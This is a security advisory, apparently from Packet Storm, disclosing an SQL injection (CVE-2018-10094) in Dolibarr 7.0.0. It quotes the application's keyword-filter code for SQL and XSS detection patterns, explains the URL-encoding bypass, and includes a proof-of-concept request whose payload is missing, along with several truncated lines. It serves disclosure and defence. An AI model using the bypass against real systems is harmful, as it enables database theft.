Dolibarr 7.0.0 SQL Injection

Type packetstorm
Reporter Issam Rabhi
Modified 2018-05-27T00:00:00


                                            `# [CVE-2018-10094] Dolibarr SQL Injection vulnerability  
## Description  
Dolibarr is an "Open Source ERP & CRM for Business" used by many  
companies worldwide.  
It is available through [GitHub](  
or as distribution packages (e.g .deb package).  
The application does not handle user input properly and allows execution  
of arbitrary SQL commands on the database.  
Prepared queries should be used in order to avoid SQL injection in user  
## Vulnerability type  
**CVE ID**: CVE-2018-10094  
**Access Vector**: remote  
**Security Risk**: high  
**Vulnerability**: CWE-89  
**CVSS Base Score**: 7.5  
**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
## Details  
The database connector escapes quotes with the `real_escape_string()`  
wrapper. However it is still possible to perform injection on integer  
parameters without quotes.  
* Escape a string to insert data  
* @param string $stringtoencode String to escape  
* @return string String escaped  
function escape($stringtoencode)  
return $this->db->real_escape_string($stringtoencode);  
Additional checks are defined later, which forbit some SQL keywords (e.g  
`union`, `create`, `insert`). However, by url encoding the payload,  
these checks are bypassed.  
* Security: SQL Injection and XSS Injection (scripts) protection  
(Filters on GET, POST, PHP_SELF).  
* @param string $val Value  
* @param string $type 1=GET, 0=POST, 2=PHP_SELF  
* @return int >0 if there is an injection  
function test_sql_and_script_inject($val, $type)  
$inj = 0;  
// For SQL Injection (only GET are used to be included into bad  
escaped SQL requests)  
if ($type == 1)  
$inj += preg_match('/updatexml\(/i', $val);  
$inj += preg_match('/delete\s+from/i', $val);  
$inj += preg_match('/create\s+table/i', $val);  
$inj += preg_match('/insert\s+into/i', $val);  
$inj += preg_match('/select\s+from/i', $val);  
$inj += preg_match('/into\s+(outfile|dumpfile)/i', $val);  
if ($type != 2) // Not common, we can check on POST  
$inj += preg_match('/update.+set.+=/i', $val);  
$inj += preg_match('/union.+select/i', $val);  
$inj += preg_match('/(\.\.%2f)+/i', $val);  
// For XSS Injection done by adding javascript with script  
// This is all cases a browser consider text is javascript:  
// When it found '<script', 'javascript:', '<style', 'onload\s=' on  
body tag, '="&' on a tag size with old browsers  
// All examples on page:  
// More on  
$inj += preg_match('/<script/i', $val);  
$inj += preg_match('/<iframe/i', $val);  
$inj += preg_match('/Set\.constructor/i', $val); // ECMA script 6  
if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val);  
$inj += preg_match('/base[\s]+href/si', $val);  
$inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can  
be set on img or any html tag like <img title='...' onmouseover=alert(1)>  
$inj += preg_match('/onerror\s*=/i', $val); // onerror can be  
set on img or any html tag like <img title='...' onerror = alert(1)>  
$inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be  
set on input text html tag like <input type='text' value='...' onfocus =  
$inj += preg_match('/onload\s*=/i', $val); // onload can be  
set on svg tag <svg/onload=alert(1)> or other tag like body <body  
$inj += preg_match('/onclick\s*=/i', $val); // onclick can be  
set on img text html tag like <img onclick = alert(1)>  
$inj += preg_match('/onscroll\s*=/i', $val); // onscroll can be  
on textarea  
//$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event  
handlers onAbort(), ...  
$inj += preg_match('/:|&#0000058|&#x3A/i', $val); //  
refused string ':' encoded (no reason to have it encoded) to lock  
//if ($type == 1)  
$inj += preg_match('/javascript:/i', $val);  
$inj += preg_match('/vbscript:/i', $val);  
// For XSS Injection done by adding javascript closing html tags  
like with onmousemove, etc... (closing a src or href tag with not  
cleaned param)  
if ($type == 1) $inj += preg_match('/"/i', $val); // We  
refused " in GET parameters value  
if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF  
is a file system path. It can contains spaces.  
return $inj;  
## Proof of Concept : retrieving the database name.  
1) union select  
Url-encoded payload:  
Host: dolibarr.lab:2080  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close  
Upgrade-Insecure-Requests: 1  
<td class="nowrap">  
## Affected versions  
* Version 7.0.0 (last stable version as of March 2018) - previous  
versions are probably also vulnerable but not tested  
## Solution  
Update to 7.0.2  
## Timeline (dd/mm/yyyy)  
* 18/03/2018 : Initial discovery  
* 17/04/2018 : Contact with the editor  
* 17/04/2018 : Editor acknowledges the vulnerability  
* 18/04/2018 : Editor announces fixes in version 7.0.2  
* 21/05/2018 : Vulnerability disclosure  
## Credits  
* Issam RABHI (i dot rabhi at sysdream dot com)  
* Kevin LOCATI (k dot locati at sysdream dot com)  
SYSDREAM Labs <>  
GPG :  
47D1 E124 C43E F992 2A2E  
1551 8EB4 8CD9 D5B2 59A1  
* Website:  
* Twitter: @sysdream